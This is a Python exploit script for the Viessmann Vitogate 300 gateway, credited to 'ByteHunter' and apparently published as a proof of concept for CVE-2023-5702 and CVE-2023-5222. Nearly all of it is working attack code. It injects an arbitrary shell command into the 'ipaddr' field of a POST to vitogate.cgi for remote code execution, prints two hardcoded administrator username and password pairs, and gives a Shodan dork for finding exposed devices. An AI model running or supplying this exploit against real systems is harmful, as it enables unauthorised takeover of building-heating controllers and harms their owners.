#- Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:'Vitogate 300'
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Version: versions up to 2.1.3.0
#- Tested on: 2.1.1.0
#- CVE : CVE-2023-5702 & CVE-2023-5222
import argparse
import requests
def banner():
banner = """
╔═══════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
Author: ByteHunter
╚═══════════════════════════════════╝
"""
print(banner)
def send_post_request(target_ip, command, target_port):
payload = {
"method": "put",
"form": "form-4-7",
"session": "",
"params": {
"ipaddr": f"1;{command}"
}
}
headers = {
"Host": target_ip,
"Content-Length": str(len(str(payload))),
"Content-Type": "application/json"
}
url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Result:")
print(response.text)
else:
print(f"Request failed! status code: {response.status_code}")
def main():
parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
parser.add_argument("--target", required=False, help="Target IP address")
parser.add_argument("--port", required=False, help="Target port",default="80")
parser.add_argument("--command", required=False, help="Command")
parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")
args = parser.parse_args()
if args.creds:
print("Vitogate 300 hardcoded administrative accounts credentials")
print("Username: vitomaster, Password: viessmann1917")
print("Username: vitogate, Password: viessmann")
else:
target_ip = args.target
target_port = args.port
command = args.command
if not (target_ip and command):
print("Both --target and --command options are required.\nor use --creds option to see hardcoded Credentials.")
return
send_post_request(target_ip, command,target_port)
if __name__ == "__main__":
banner()
main()